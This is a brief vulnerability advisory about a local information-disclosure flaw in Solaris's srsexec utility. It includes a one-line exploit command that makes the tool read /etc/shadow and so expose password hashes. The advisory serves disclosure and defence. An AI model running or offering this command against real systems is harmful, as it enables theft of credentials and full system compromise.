source: https://www.securityfocus.com/bid/23915/info

Sun Microsystems Solaris is prone to a local information-disclosure vulnerability due to a design error.

A local attacker may exploit this issue to access sensitive information, including superuser password information, that may lead to further attacks. A complete compromise is possible. 

The following exploit example is available:
$ /opt/SUNWsrspx/bin/srsexec -dvb /etc/shadow OWNED